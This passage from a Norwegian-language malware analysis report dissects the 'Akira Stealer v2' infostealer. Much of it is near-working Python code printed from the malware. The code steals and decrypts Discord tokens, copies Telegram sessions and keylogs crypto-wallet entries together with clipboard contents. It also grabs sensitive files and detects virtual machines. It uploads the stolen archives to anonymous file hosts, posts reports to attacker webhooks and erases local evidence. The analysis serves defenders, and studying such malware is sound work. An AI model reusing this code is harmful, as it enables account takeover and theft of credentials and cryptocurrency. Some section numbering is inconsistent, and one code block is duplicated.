        if file.endswith(('.log', '.ldb')):
            for line in open(os.path.join(db_dir, file), errors='ignore'):
                for pat in patterns:
                    for token in re.findall(pat, line):
                        # Verify token
                        h = {"Authorization": token}
                        r = requests.get("https://discordapp.com/api/v9/users/@me", headers=h)
                        if r.status_code == 200:
                            uname = r.json()["username"] + "#" + r.json()["discriminator"]
                            payload = {"content": f"**Discord** {uname}: `{token}`"}
                            requests.post(webhook_url, json=payload)

• Validering: Sender bare gyldige tokens, og hindrer at utdaterte JWT-er går ut.

7.8.4 Telegram-sesjonsfiler

Mål: Telegram Desktop/TData

def steal_telegram(tdata_path, dest_root):
    if os.path.exists(tdata_path):
        Utils.TaskKill("telegram.exe")
        dest = os.path.join(dest_root, "Wallets", "Telegram")
        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)
        data.has_telegram = True

• Filer: mappen tdata med sesjonsnøkler, mappen D877F... med secret- og unsecret-filer.
• Bruk: Lastes inn i angriperens Telegram-klient for full kontotilgang.

7.8.5 Keylogging av lommebøker i sanntid

Kryptovaluta-lommebøker er førstevalgsmål for moderne infostealere. Akira har en keylogger som kjører i sanntid og er laget spesielt for å stjele lommebok-credentials som seed-fraser, private nøkler og passord i det øyeblikket de tastes inn. Til forskjell fra generiske keyloggere aktiveres denne bare når et kjent lommebokvindu oppdages, noe som reduserer støyen kraftig og øker effektiviteten.

Modulen overvåker titlene på aktive vinduer og sammenligner dem med en hardkodet liste over populære lommebokapper som MetaMask, Phantom, Atomic Wallet og andre. Så snart et vindu som treffer, har fokus, begynner den å registrere tastetrykk via systemomfattende tastaturhooks. Når brukeren trykker Enter, fanger modulen umiddelbart det som ligger i utklippstavlen, siden brukere ofte kopierer hemmeligheter under oppsett eller pålogging av lommebøker, og sender både det innskrevne og utklippsdataene til angriperens webhook. Metoden er svært effektiv fordi den kombinerer to angrepsvektorer:

• Kontekstbevisst keylogging, for å fange sensitive lommebokinndata bare når det er relevant.
• Kapring av utklippstavlen, for å hente kopierte gjenopprettingsfraser eller mottakeradresser før de limes inn.

Til sammen lar disse metodene angripere kompromittere lommebøker stille og i sanntid, også uten nettlesertilgang eller fileksfiltrering.

import keyboard, pyperclip

class WalletKeylogger:
    def __init__(self, wallet_titles):
        self.buf = ""
        keyboard.on_release(self.capture)
        self.wallet_titles = wallet_titles

    def capture(self, event):
        title = pygetwindow.getActiveWindow().title
        if any(w in title for w in self.wallet_titles):
            if event.name == 'enter':
                data = f"Keys:{self.buf}\nClip:{pyperclip.paste()}"
                send_to_webhook(data)
                self.buf = ""
            else:
                self.buf += event.name

• Utløserliste: Vindustitler som "MetaMask", "Phantom", "Atomic Wallet" med flere.
• Utklippstavle: Fanger kopierte seed-fraser eller private nøkler.

7.8.6 Pakking og eksfiltrering

Når nettleserdata, credentials, lommebokinformasjon og tokens er samlet inn, går Akira videre med å konsolidere og eksfiltrere byttet på en svært automatisert og stillegående måte. Dette steget er det siste leddet i infeksjonskjeden, og det er optimalisert for pålitelighet og et minimalt forensisk fotavtrykk. Først komprimeres alle innsamlede data, inkludert nettleserdumper, logger og keylogget lommebokinformasjon, til et ZIP-arkiv. Dermed kan hele datasettet overføres som én payload. Arkivet lastes deretter opp til flere offentlige fildelingstjenester som GoFile, File.io eller Oshi.at, avhengig av tilgjengelighet. Disse plattformene tilbyr anonym, midlertidig hosting og brukes ofte til å omgå bedriftsbrannmurer eller omdømmebasert blokkering. Samtidig genereres en strukturert rapport som sendes til angriperen via en Discord- eller Telegram-webhook. Den inneholder oppsummerende statistikk, altså hvor mange lommebøker som ble funnet, hvor mange tokens som var gyldige, og en direktelenke til de stjålne dataene. Det gir angripere et raskt overblikk over verdien av målet uten å åpne arkivet.

Til slutt sletter malwaren den midlertidige mappen og arkivet fra disken, og fjerner i praksis lokale forensiske bevis. Når en forsvarer oppdager infeksjonen, er dataene allerede borte, og ofte umulige å få tilbake.

# 1) ZIP everything (including Wallets folder)
zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())
# 2) Attempt upload to primary & fallback services
url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
# 3) Report summary
embed = {
    "title": "💰 Wallet & Token Exfiltration Report",
    "fields": [
        {"name": "Extension Wallets", "value": data.ext_wallets_count},
        {"name": "Desktop Wallets",   "value": data.desktop_wallets_count},
        {"name": "Discord Tokens",    "value": len(valid_tokens)},
        {"name": "Telegram Sessions", "value": data.has_telegram},
        {"name": "Archive Link",      "value": url or "[upload failed]"},
    ]
}
Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)
# 4) Cleanup local folder & ZIP
Utils.clear_client_folder()

7.9. Tyveri av Discord- og Telegram-tokens (klasse: Discord)

Discord-klassen i Akira Stealer v2 kjører en sterkt parallellisert flertrinnsprosess for å høste både Discord-autorisasjonstokens og Telegram-sesjonsdata. Under bryter vi ned hver komponent med presise kodereferanser og illustrerende eksempler.

7.9.1 Initialisering og enumerering av stier

Ved instansiering bygger konstruktøren to sett med målstier:

# Discord client LevelDB directories
discord_paths = [
    [f"{self.ROAMING}/Discord", "/Local Storage/leveldb"],
    [f"{self.ROAMING}/Lightcord", "/Local Storage/leveldb"],
    ...
]

# Chromium-based browser LevelDB directories
browserPaths = [
    [f"{self.ROAMING}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", ...],
    [f"{self.LOCAL}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", ...],
    ...
]

• Discord Paths retter seg mot offisielle og uoffisielle Discord-klienter under %APPDATA%.
• Browser Paths dekker brukerdatamappene til populære nettlesere, inkludert undermapper for local storage og utvidelser.

Det startes tråder for hver oppføring:

for patt in browserPaths:
    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])
    t.start()
for patt in discord_paths:
    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])
    t.start()

Denne trådmodellen maksimerer I/O-gjennomstrømningen og sonderer dusinvis av kataloger samtidig.

7.9.2 Logikk for uthenting av tokens

Plaintext Token Scraping from Browsers

get_btoken(path, arg) navigerer til hver LevelDB-mappe og inspiserer .log- og .ldb-filer:

for file in os.listdir(path + arg):
    if file.endswith((".log", ".ldb")):
        for line in open(f"{path}{arg}/{file}", errors="ignore"):
            for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
                tokens = re.findall(regex, line)
                for token in tokens:
                    self.tokens.append(token)
                    self.cehckToken(token)

• Regex [\w-]{24}\.[\w-]{6}\.[\w-]{25,110} treffer vanlige Discord-tokens.
• Regex mfa\.[\w-]{80,95} fanger MFA-tokens.
• Dedupliseringen er implisitt: tokens lagres i self.tokens før validering.

Encrypted Token Decryption in Discord Client

Discord-klienten krypterer Local Storage-oppføringer under DPAPI, med v10 eller v11 som prefiks. get_discord(path, arg) håndterer dette:

# Read Local State to obtain encrypted master key
with open(path + "/Local State", 'r') as f:
    local_state = json.load(f)
encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]
master_key = self.CryptUnprotectData(encrypted_key)

# Iterate LevelDB files for Base64 payloads
for file in os.listdir(path + arg):
    if file.endswith((".log", ".ldb")):
        for line in open(f"{path}{arg}/{file}"):
            for token_part in re.findall(r"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)", line):
                ciphertext = b64decode(token_part)
                token = self.decrypt_value(ciphertext, master_key)
                self.tokens.append(token)
                self.cehckToken(token)

• Master Key Recovery: Skreller bort den 5 byte lange DPAPI-headeren og kaller deretter CryptUnprotectData (som pakker inn Windows DPAPI) for å dekryptere AES-GCM-nøkkelen.
• Payload Parsing: Tokens har prefikset dQw4w9WgXcQ: (en markør angriperen har valgt). Etter Base64-dekoding deler decrypt_value() opp IV og ciphertext:

  def decrypt\_value(buff, master\_key):
  iv = buff\[3:15]
  payload = buff\[15:]
  cipher = AES.new(master\_key, AES.MODE\_GCM, iv)
  return cipher.decrypt(payload)\[:-16].decode()
  

7.9.3 Validering og eksfiltrering av tokens

Hvert token som hentes ut, valideres via et live API-kall:

headers = {"Authorization": token}
resp = requests.get("https://discordapp.com/api/v9/users/@me", headers=headers)
if resp.status_code == 200:
    self.cehckToken(token)

• Ved suksess avgjør cehckToken() om den skal sende via Telegram (useTg=True) eller Discord-webhook:

  if useTg:
  self.sendTokenTg(token)
  else:
  self.send\_embed(token)
  

• send_embed bygger en rik Discord-embed med brukerens metadata (username, discriminator, e-post, Nitro-status, faktureringsinfo) ved hjelp av felter fra

user_json = requests.get(...).json()
username = user_json["username"]
id = user_json["id"]
# embed fields: token, email, phone, IP, flags, Nitro, billing

• sendTokenTg sender en oppsummering i klartekst via Telegram-API-et.

7.9.4 Innsamling av Telegram-sesjoner

Utover Discord-tokens tar stealeren også Telegram Desktop-sesjoner:

@staticmethod
def steal_telegram():
    src = f"{os.getenv('APPDATA')}/Telegram Desktop/tdata"
    Utils.TaskKill("telegram.exe")
    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), "Telegram"))

• Process Termination: Sørger for at fillåser slippes.
• Recursive Copy: Stjeler tdata-mappen, inkludert brukersesjoner, kontakter og hurtiglagrede meldinger.
• Exfiltration: Den stjålne mappen zippes og lastes opp via sendFilesTG(), med nedlastingslenken lagt inn i en Telegram-melding.

Discord-modulen i Akira Stealer kombinerer regex-basert scraping, DPAPI-underbygd AES-GCM-dekryptering, validering mot live API og eksfiltrering over flere protokoller (webhook og Telegram) for å levere friksjonsfri kontoovertakelse på både Discord og Telegram.

7.10 Systemprofilering

Akira Stealer v2 har en omfattende systemprofileringsfase for å samle inn vertsmetadata, miljøattributter og nettverksdetaljer. Informasjonen samles i klassen Data og pakkes senere sammen med de eksfiltrerte credentials. Under bryter vi ned profileringslogikken med direkte kodereferanser.

7.10.1 Initialisering av Data-klassen

Ved oppstart opprettes en instans av Data:

class Data:
    def __init__(self):
        self.username = os.getlogin()
        self.computerName = os.getenv("computername") or "Unable to get computer name"
        self.system_info = f"Computer Name: {self.computerName}\n..."
        ...
        self.ip = requests.get(url="https://api.ipify.org").text
        ipdata = json.loads(requests.post(url=f"http://ip-api.com/json/{self.ip}").text)
        self.country = ipdata.get("country")
        self.countryCode = ipdata.get("countryCode", "").lower()

• Username & Hostname: Hentes via os.getlogin() og miljøvariabelen COMPUTERNAME.
• IP Address: Hentes med requests.get("https://api.ipify.org") og geolokaliseres deretter via ip-api.com for land og ISO-kode.

7.10.2 Enumerering av OS og maskinvare

Ved hjelp av WMI-kommandoer (Windows Management Instrumentation):

# Operating System
self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout
# Total Physical Memory
self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)
# BIOS UUID
self.uuid = subprocess.run('wmic csproduct get uuid', ...)
# CPU Identifier
self.cpu = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:System...\Processor_Identifier'", ...)
# GPU Name
self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)
# Windows Product Key
self.productKey = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault", ...)

Resultatene tolkes til lesbare strenger (strip(), indeksoperasjoner) og settes sammen til:

self.system_info = (
    f"Computer Name: {self.computerName}\n"
    f"Total Memory: {self.totalMemory}\n"
    f"CPU: {self.cpu}\n"
    f"GPU: {self.gpu}\n"
    f"Product Key: {self.productKey}"
)

7.10.3 VM-deteksjon og anti-sandbox-sjekker

Før den dypere profileringen kaller malwaren VmProtect.isVM(level) for å oppdage virtualiserings- eller analysemiljøer:

if VmProtect.isVM(1):
    sys.exit()

Sentrale sjekker omfatter:

• Registry Keys & Driver Descriptors: Spør etter virtualiseringsrelaterte registeroppføringer.
• Blacklisted UUIDs & Computer Names: Sammenligner med kjente VM-fingeravtrykk.
• HTTP Simulation: Forsøker å koble til et domene som ikke finnes, over HTTPS.
• Process Blacklist: Starter en bakgrunnstråd som avslutter verktøy som wireshark, ollydbg, ida64.

7.10.4 Pakking og overføring

De innsamlede system_info, IP-adressen og landflagget legges inn i headerne til webhook-payloaden:

webhook_payload = {
    "embeds": [{
        "title": f"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}",
        "description": description + "\n```⚙️ System Info\n" + self.system_info + "```",
        "fields": [...]
    }]
}
requests.post(self.webhook_url, json=webhook_payload)

• Flag Emoji: Utledes fra ISO-landkoden.
• Fields: Inneholder antall stjålne passord, cookies og liknende, men systeminformasjonen ligger i embedens description for umiddelbar kontekst.

Summary: Systemprofileringen i Akira Stealer v2 samler inn omfattende verts- og nettverksdata via WMI-kommandoer, miljøvariabler og IP-geolokalisering. Kombinert med VM-deteksjon og rutiner som dreper verktøy, sikrer dette at angriperen har et fullt øyeblikksbilde av det kompromitterte miljøet, noe som styrker målrettede oppfølgingshandlinger og siler ut analysesandboxer.

7.11 Filinnsamler (klasse: Utils.steal_files)

Utover nettleserdata og tokens forsøker Akira også å hente ut verdifullt brukergenerert innhold, som dokumenter, regneark, private notater og kryptografiske nøkkelfiler. File Grabber-modulen har ansvaret for dette. Den skanner kataloger med høy verdi etter vanlige filtyper og mønstre, og legger dem deretter stille til i eksfiltreringspakken. Det som gjør modulen særlig farlig, er enkelheten og fokuset: den forsøker ikke å gå gjennom hele filsystemet. I stedet retter den seg mot bestemte, sannsynlige steder der sensitive filer vanligvis ligger. Dit hører katalogene Desktop, Documents, Downloads og OneDrive, alle relativt til hjemmestien til brukeren. Den fokuserte tilnærmingen gir både tempo og skjulthet, og reduserer sjansen for å bli oppdaget under skanningen. Den unngår også å varsle brukeren ved ikke å gå inn i system- eller beskyttede kataloger. Når interessante filer er funnet, kopieres de til en midlertidig mappe, eventuelt omdøpt eller gruppert, og komprimeres senere til det endelige ZIP-arkivet som lastes opp i eksfiltreringsfasen.

7.11.1 Enumerering av målkataloger

Stealeren konsentrerer seg om fire mapper med høy avkastning:

searchFolders = [
    "Desktop",
    "Documents",
    "Downloads",
    "OneDrive"
]

Hver mappe tolkes relativt til hjemmekatalogen til offeret:

for folder in searchFolders:
    current_path = os.path.join(os.environ['USERPROFILE'], folder)
    if os.path.exists(current_path):
        # proceed to scan

7.11.2 Filtrering på nøkkelord og filendelse

Keyword List

Et forhåndsdefinert sett med delstrenger styrer filutvalget. Bare filnavn som inneholder minst ett nøkkelord, vurderes:

keywordsFiles = [
    "passw", "seed", "mnemo", "phrase", "login", "wallet",
    "crypto", "token", "backup", "secret", "account"
]

• Partial Matches: Nøkkelord som passw fanger både passwords.txt og passw_backup.docx.
• Broad Coverage: Dekker termer knyttet til autentisering, wallet, krypto og tokens.

7.11.3 Filtyper som tillates

For å redusere støy håndheves en hviteliste av filendelser:

allowed_extensions = [
    ".txt", ".doc", ".docx", ".pdf", ".csv", ".xls", ".xlsx",
    ".jpg", ".png"
]

7.11.3 Størrelsesbegrensning

Filer større enn 2 megabyte hoppes over for å optimalisere eksfiltreringshastigheten og unngå store overføringer:

file_size_mb = os.path.getsize(full_path) / (1024 * 1024)
if file_size_mb <= 2:
    # eligible for copy

7.11.4 Rekursiv skanning og kopieringslogikk

Når katalogene med høy verdi er identifisert, starter Akira en rekursiv skanningsrutine som traverserer undermapper og finner filer som treffer bestemte nøkkelord og filendelser. Fasen er bygget for presisjon og skjulthet: bare filer som treffer forhåndsdefinerte kriterier, som filnavn med sensitive nøkkelord og godkjente filtyper, vurderes. Logikken sørger for at bare relevant, brukergenerert innhold eksfiltreres. Den ignorerer systemfiler, cacher og binaries, og begrenser størrelsen på hver enkelt fil til 2 MB for å redusere opplastingsvolum og risiko for å bli oppdaget. Skannemetoden er stille, effektiv og optimalisert for skjult datatyveri i virkelige miljøer. Ved å kopiere treffene til en staging-mappe og føre en liste over det som ble tatt, klargjør Akira innholdet for pakking og eksfiltrering, samtidig som duplisering og operativ støy holdes nede.

Kjernerutinen steal_files() fungerer slik:

@staticmethod
def steal_files():
    stolen_files = set()
    temp_folder = Utils.get_temp_folder()

    for folder in searchFolders:
        current_path = os.path.join(os.environ['USERPROFILE'], folder)
        if os.path.exists(current_path):
            for root, _, files in os.walk(current_path):
                for file in files:
                    lower = file.lower()
                    # Keyword check
                    if any(keyword in lower for keyword in keywordsFiles):
                        ext = os.path.splitext(lower)[1]
                        # Extension and size check
                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) <= 2 * 1024 * 1024:
                            # Prepare destination
                            files_dir = os.path.join(temp_folder, "Files")
                            os.makedirs(files_dir, exist_ok=True)
                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))
                            stolen_files.add(file)
    data.stolen_files.extend(stolen_files)

Key points:

1. os.walk: Går rekursivt ned i underkataloger.
2. Case-insensitive matching: Filnavn normaliseres via lower().
3. Atomic copy: Bruker shutil.copy for å bevare filinnholdet.
4. Set of stolen filenames: Hindrer dobbeltkopier når samme fil forekommer to ganger.
5. Integration with Data: data.stolen_files samler listen over stjålne filer for senere rapportering.

7.11.5 Arkivering og eksfiltrering

Etter innsamlingen zippes Files-mappen og sendes av gårde:

# Archive
Utils.zip_client_file()  # creates CLIENT.zip from temp_folder

# Upload & Notify
akira.sendFilesTG(Utils.get_temp_folder(), startup)
hook.sendFilesTG(Utils.get_temp_folder(), startup)

• zip_client_file(): Komprimerer hele temp-katalogen, inkludert Files, Cookies, Passwords og liknende.
• sendFilesTG(): Poster nedlastingslenken via Telegram eller Discord-webhook og lister hvert stjålne filnavn:

  fields.append({
  "name": "📂 Files",
  "value": "`" + "\n".join(data.stolen_files) + "`",
  "inline": False
  })
  

Conclusion:

File Grabber i Akira Stealer v2 jakter systematisk på sensitive dokumenter ved hjelp av filtre på nøkkelord og filendelse, respekterer en størrelsesgrense på 2 MB av effektivitetshensyn og samler de stjålne elementene i et arkiv. Designet gir både bredde (flere mapper) og presisjon (målrettede filtre), og det gjør modulen til en av de mest virkningsfulle fasene i livsløpet til malwaren.

7.12 Eksfiltreringsstrategi

Eksfiltreringsmodulen håndterer innhøstede tokens og andre artefakter (cookies, autofills, logger) ved å stage dem i en strukturert katalog, komprimere dem til et arkiv, laste dem opp til flere filverter på nett og sende detaljerte webhook-varsler. Dette avsnittet dekonstruerer hvert steg med filstier, domeneendepunkter og kodereferanser for full sporbarhet.

7.12.1 Katalogstruktur og filnavn

Akira organiserer alle innsamlede artefakter i en ryddig og hierarkisk midlertidig katalogstruktur. Designet gir effektiv pakking og enkel gjennomgang hos angriperen etter eksfiltreringen. Hver datakategori, som Tokens, Cookies, Passwords eller Screenshots, ligger i sin egen undermappe under en rotsti oppkalt etter datamaskinen til offeret (for eksempel DESKTOP1234). Den strukturerte layouten gir oversikt, minimerer duplisering og effektiviserer arkiverings- og opplastingsprosessen. Den gjør også automatisert tolkning eller manuell inspeksjon langt enklere på angriperens side.

C:\Users\User\AppData\Local\Temp\DESKTOP1234\
├─ Tokens\
│   ├ token_ab12cd34.txt
│   └ token_ef56gh78.txt
├─ Cookies\
│   ├ Chrome_Cookies.txt
│   └ Discord_Cookies.txt
├─ Autofill\
├─ Passwords\
├─ Logs\
└─ Screenshots\

7.12.2 Staging av tokens og artefakter

Før eksfiltreringen stager Akira alle relevante artefakter i de tilhørende undermappene. Token-verdier skrives for eksempel til hver sin .txt-fil for å gjøre rask skanning og validering enklere. Cookies, autofyll-oppføringer og passord skrives på samme måte til strukturerte tekstfiler oppkalt etter nettleser. Steget standardiserer datalayouten og gjør det mulig for automatiserte verktøy å spore hva som ble høstet inn. Det sikrer også at zip-arkivet senere følger et forutsigbart og angripervennlig format, uansett hvilke moduler som ble utløst.

import os, shutil
# Constants
TMP = os.getenv('TEMP')
ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))
# Prepare structure
for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:
    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)
# Save token
with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:
    f.write(token)

• Tokens lagres i separate små tekstfiler for rask inspeksjon.
• Cookie-dumper fra Chromium.GetCookies() skrives til {Browser}_Cookies.txt.

7.13.3 Oppretting av ZIP-arkiv

Når stagingen er ferdig, komprimerer Akira hele katalogen til ett enkelt ZIP-arkiv. Filnavnet på arkivet følger en konsekvent navnekonvensjon: _.zip, med maskinnavnet til verten og et UTC-tidsstempel i ISO 8601-format. Det sikrer både unikhet og kronologisk sporbarhet. Ved å gå gjennom hele staging-katalogen rekursivt bevares hver fil i sin relative struktur inne i ZIP-arkivet. Formatet forenkler massenedlasting og inspeksjon for angripere, særlig hvis hundrevis av ofre kompromitteres parallelt.

import zipfile, datetime

def create_archive(root_dir: str) -> str:
    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
        for dirpath, _, files in os.walk(root_dir):
            for fname in files:
                full = os.path.join(dirpath, fname)
                rel = os.path.relpath(full, root_dir)
                zf.write(full, rel)
    return zip_path

• Arkivet navngis DESKTOP1234_20250505T123456Z.zip av hensyn til sammenheng med verten.

ZIP Filename Convention

Arkivet navngis med datamaskinnavnet til den kompromitterte verten, fulgt av et UTC-tidsstempel i ISO-format, noe som sikrer unikhet og kronologisk rekkefølge.

import datetime, os

def create_archive(root_dir: str) -> str:
    # Generate UTC timestamp in YYYYMMDDThhmmssZ format
    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
    # Construct ZIP filename: <ComputerName>_<Timestamp>.zip
    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
    return zip_path

Arkivet navngis med datamaskinnavnet til den kompromitterte verten, fulgt av et UTC-tidsstempel i ISO-format, noe som sikrer unikhet og kronologisk rekkefølge.

7.14.4 Opplastingsflyt

Akira bruker en opplastingsstrategi i tre nivåer for å maksimere sjansen for at dataeksfiltreringen lykkes. Den forsøker først å laste opp arkivet til GoFile.io via det offentlige API-et deres, som returnerer en nedlastingslenke. Er GoFile utilgjengelig eller blokkert, faller den tilbake på File.io og deretter Oshi.at, slik at dataene alltid kommer ut. Disse tjenestene tilbyr anonym, kortlevd hosting, noe som gjør takedown og sporing vanskelig. Skriptet fanger den endelige nedlastings-URL-en og klargjør den for webhook-leveranse.

1. Primary: GoFile.io
   • API to fetch servers: GET https://api.gofile.io/servers
   • Upload endpoint: POST https://<server>.gofile.io/contents/uploadfile
   • Response field: data.downloadPage inneholder den endelige URL-en.
2. Fallback #1: File.io
   • Upload endpoint: POST https://file.io/ med files={'file': open(...)}
   • Response: JSON-feltet link.
3. Fallback #2: Oshi.at
   • Upload endpoint: POST http://oshi.at/ med files[] og parameterne expire=43200, autodestroy=0.
   • Response: Klartekst som inneholder DL: <url>.

Implementation Snippet:

import requests

def upload_with_fallback(zip_path):
    # GoFile
    try:
        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']
        for srv in servers:
            try:
                r = requests.post(
                    f'https://{srv}.gofile.io/contents/uploadfile',
                    files={'file': open(zip_path,'rb')}, timeout=20)
                url = r.json()['data']['downloadPage']
                if url: return url
            except: continue
    except: pass
    # File.io
    try:
        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)
        return r.json().get('link','')
    except: pass
    # Oshi.at
    try:
        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text
        return text.split('DL: ')[1].strip()
    except: pass
    return ''

7.15.5 Webhook-varsler, angriperens uthenting og grensene for analytikerens innsyn

Etter at ZIP-arkivet er lastet opp, sender Akira et webhook-varsel, vanligvis til Discord eller Telegram, med en strukturert embed som inneholder detaljert informasjon: antall stjålne tokens, antall cookies, filstørrelse og en klikkbar nedlastingslenke. Det gir angriperen umiddelbar tilbakemelding og tilgang til uthenting. For å sikre leveransen sendes det også en fallback-melding i klartekst som bare inneholder arkivlenken. Denne redundansen garanterer levering, selv om embeden blokkeres av plattformen eller filtreres bort. Fra forsvarerens side er denne kommunikasjonen ofte usynlig med mindre det finnes overvåking av utgående nettverkstrafikk.

Embed Notification

# Build embed with key metadata
token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))
fields = [
    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},
    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},
    {'name':'🔑 Tokens','value':str(token_count),'inline':True},
    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},
    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},
]
payload = {
    'username':'Akira 💊',
    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]
}
requests.post(webhook_url, json=payload, timeout=8)

• Delivery: Sendes til angriperens Discord- eller Telegram-kanal.
• Embed Link: Inneholder en klikkbar download_url som peker på ZIP-filen på GoFile (eller en fallback-vert).

Raw Link Fallback

# Ensure attacker always has direct URL, even if embeds fail
message = f"📥 Archive available at: {download_url}"
requests.post(webhook_url, data={'message': message}, timeout=8)

• Plain Text: Garanterer at lenken kommer fram dersom embeds blokkeres eller forkastes i stillhet.

How the Attacker Retrieves the Link

1. Webhook Infrastructure Angriperen legger webhook-endepunktet inn i konfigurasjonen til malwaren:

# at class initialization
self.default_webhook = "%DISCORD_OR_TG_WEBHOOK_URL%"

• Discord: https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>
• Telegram: https://api.telegram.org/bot<TELEGRAM_TOKEN>/sendMessage

2. Real-Time Delivery Umiddelbart etter en vellykket filopplasting kjører malwaren:

payload = {
  'username': 'Akira 💊',
  'embeds': [{
      'title': '🗄️ Exfiltration Complete',
      'fields': [
          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}
      ]
  }]
}
# Transmit the archive URL entirely in the JSON body
requests.post(self.default_webhook, json=payload, timeout=8)

• Variabelen download_url interpoleres inn i embedens fields.value.
• For Telegram-fallbacken dukker download_url opp i klartekstparameteren message.

3. EDR & Forensic Visibility Limitations

• No Local Logging: Malwaren skriver ikke download_url til disk eller systemlogger.
• EDR Blind Spots: Verktøy som Microsoft Defender for Endpoint kan flagge forsøket på HTTP-forespørsel, men klarer ikke å hente ut den innebygde URL-en.

4. Why the Analyst Cannot Recover This Locally:

• No Local Copy of Link: Malwaren skriver download_url bare i minnet og sender den over nettverket; den lagrer ikke denne URL-en til disk eller logger.
• Ephemeral Staging Cleanup: Umiddelbart etter opplastingen kjører koden:
  shutil.rmtree(ROOT),
  som sletter alle stagede artefakter, inkludert eventuelle midlertidige tekstfiler, fra %TEMP%.
• Network-Only Transmission: Webhook-kallene (requests.post) skjer i minnet; det opprettes ingen HTTP-logger eller oppføringer i nettleserhistorikken på maskinen til offeret.

Implication for Analysts: Uten pakkefangst i sanntid, for eksempel en nettverks-TAP eller proxy, på kjøringstidspunktet er den eksakte download_url umulig å gjenopprette etter infeksjonen. I tillegg slettes det eksfiltrerte arkivet automatisk fra hostingtjenesten, noe som krymper vinduet for forensisk uthenting ytterligere. Imaging etter infeksjonen eller vertsbasert forensisk gjenoppretting vil ikke avdekke angriperens URL eller credentials til filverten, siden ingen artefakter ligger igjen lokalt.

7.13 Konklusjon

astor.py (Akira Stealer v2) er et omfattende, kommersielt distribuert stealer-verktøysett. Det kombinerer bred målretting, avansert anti-analyse, dynamisk kontroll over infrastrukturen og datatyveri i hele stacken, på tvers av credentials, krypto, systemprofilering og brukerfiler. Modulariteten og skjultheten, kombinert med raske reinfeksjonsmetoder, gjør den til en av de teknisk mest avanserte stealerne vi har observert i aktiv bruk.

8. Sirkulær kjøringskjede: en selvhelende løkke

Et av de teknisk mest gjennomarbeidede elementene i denne kampanjen er den regenerative, sirkulære kjøringsmodellen. Til forskjell fra konvensjonell malware med lineære trinn som går fra dropper til payload og deretter forsvinner, er denne operasjonen konstruert som en closed loop, der hver komponent passer på de andre.

Denne selvhelende arkitekturen gjorde infeksjonskjeden ikke bare vedvarende, men også autonom. Den kunne hente seg helt inn igjen etter delvis fjerning. Så lenge én del var i live, kunne hele malware-økosystemet sette seg sammen igjen.

8.1 Atferden brutt ned

1. Persistence Anchor (Updater.exe)Updater.exe er det grunnleggende fotfestet. Den droppes vanligvis i en oppstartsplassering for Windows-brukeren, for eksempel %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, eller registreres via HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Oppgaven er enkel, men kritisk: sørge for at main.exe finnes og starte den stille når brukeren logger på. Mangler main.exe, pakker den ut arkivet app-64.7z på nytt (det ligger i en temp-mappe eller droppes på nytt) og gjenskaper hele Electron-app-strukturen.
2. Bridge Loader (main.exe)main.exe er Node.js-applikasjonen pakket i Electron. Den viser ingen GUI og arbeider utelukkende i bakgrunnen. Ved kjøring kjører den den innebygde JavaScript-logikken i app.asar, med Node.js som runtime-miljø. Dette abstraksjonslaget frikobler kjernelogikken fra PE-stubben og hjelper den med å unngå tradisjonell analyse.
3. Execution Orchestrator (jscryter.js) Innebygd i app.asar er dette den egentlige styringsenheten i infeksjonskjeden. Hovedfunksjonene er:
   • Å sjekke om Updater.exe finnes, og rulle den ut på nytt hvis den mangler
   • Å injisere runtime-konfigurasjon dynamisk: webhook-URL-er, C2-adresser, tokens
   • Å enten kalle Python-payloaden som allerede ligger der (astor.py) eller laste den ned som del av en ZIP-pakke (for eksempel pyth.zip) fra infrastruktur angriperen kontrollerer
